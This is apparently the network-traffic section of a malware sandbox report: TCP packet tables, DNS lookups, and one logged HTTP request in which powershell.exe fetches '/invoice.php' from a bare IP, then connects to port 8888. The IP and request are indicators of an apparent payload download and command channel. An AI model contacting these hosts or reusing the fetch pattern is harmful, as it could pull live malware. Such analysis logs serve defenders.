Jan 10, 2025 20:35:07.702178955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.702178955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.702181101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702195883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702199936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.702209949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702223063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.702236891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.702250004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.703033924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703044891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703056097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703068972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703082085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703094006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703104973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703115940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703119993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.703126907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703140020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.703144073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.703144073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.703176022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.714576006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714591980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714612007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714624882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714639902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714652061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714659929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.714663029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.714709997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.732703924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735140085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735192060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735215902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735225916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735238075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735249043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735264063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735289097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735289097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735300064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735311031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735327959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735362053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735374928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735384941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.735416889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.735416889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.747720957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747735977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747755051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747766018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747778893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747790098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747802019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747814894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747839928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.747839928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.747874022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.747900009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747914076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747929096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.747975111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.748119116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748130083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748141050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748152018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748157978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.748162985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748198032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.748198032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.748342991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748354912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748366117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748377085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748390913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748404026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748406887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.748419046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.748466015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.784770012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784789085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784800053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784813881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784823895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784836054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784847975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784858942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784869909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784893036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784900904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.784905910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784918070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784938097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.784955978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.784960985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784974098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.784985065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785017967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785017967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785093069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785109997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785124063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785135984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785147905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785173893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785173893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785291910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785303116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785314083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785326004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785340071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785350084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785350084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785388947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785459042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785751104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785767078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785777092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785789013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785799026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785800934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785813093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785813093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785828114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785837889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.785868883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.785870075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786011934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786031008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786043882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786056042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786061049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786071062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786082983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786093950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786101103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786101103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786113977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786127090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786130905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786192894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786209106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786272049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786283970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786294937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786303997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786305904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786319017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786334991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786366940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786576033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786592960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786614895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786628008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786628962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786643982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786658049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786673069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786699057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786699057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786734104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786752939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786766052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786777973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786781073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786789894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786801100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786811113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786813021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786824942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786829948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786837101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786849976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786864042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786875010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786875963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786875963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786887884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.786906958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.786933899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.787511110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787529945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787540913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787552118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787564039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.787564993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787576914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787589073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787590027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.787604094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787616968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787626982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787631989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.787631989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.787640095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.787662029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.801386118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801423073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801434040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801444054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801449060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.801456928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801469088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801481009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801486969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.801493883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.801527023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.822165012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822181940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822202921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822215080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822226048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822237015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822248936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822259903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.822283030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.822330952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834635973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834650040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834661007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834677935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834703922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834724903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834743977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834754944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834764957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834775925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834786892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834800005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834803104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834803104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834814072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834826946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.834850073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.834850073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835005999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835025072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835035086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835047007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835053921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835057974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835069895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835094929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835094929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835196018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835231066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835252047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835267067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835280895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835297108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.835325003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.835334063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871498108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871512890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871524096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871535063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871545076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871562004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871572018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871582031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871623039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871684074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871702909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871714115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871718884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871725082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871736050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871781111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871781111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871831894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871843100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.871893883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.871972084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.872010946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.132268906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.136584044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.410578966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.852649927 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.857682943 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:08.857765913 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.858148098 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:08.862997055 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:09.690926075 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:09.739763975 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:11.359338999 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:35:16.920737028 CET	57397	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:35:16.920737028 CET	192.168.2.8	1.1.1.1	0x861a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:35:16.928533077 CET	1.1.1.1	192.168.2.8	0x861a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:35:17.642075062 CET	1.1.1.1	192.168.2.8	0xcbb1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:36:22.508367062 CET	1.1.1.1	192.168.2.8	0xb74f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:36:22.508367062 CET	1.1.1.1	192.168.2.8	0xb74f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7904	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:35:06.320626020 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
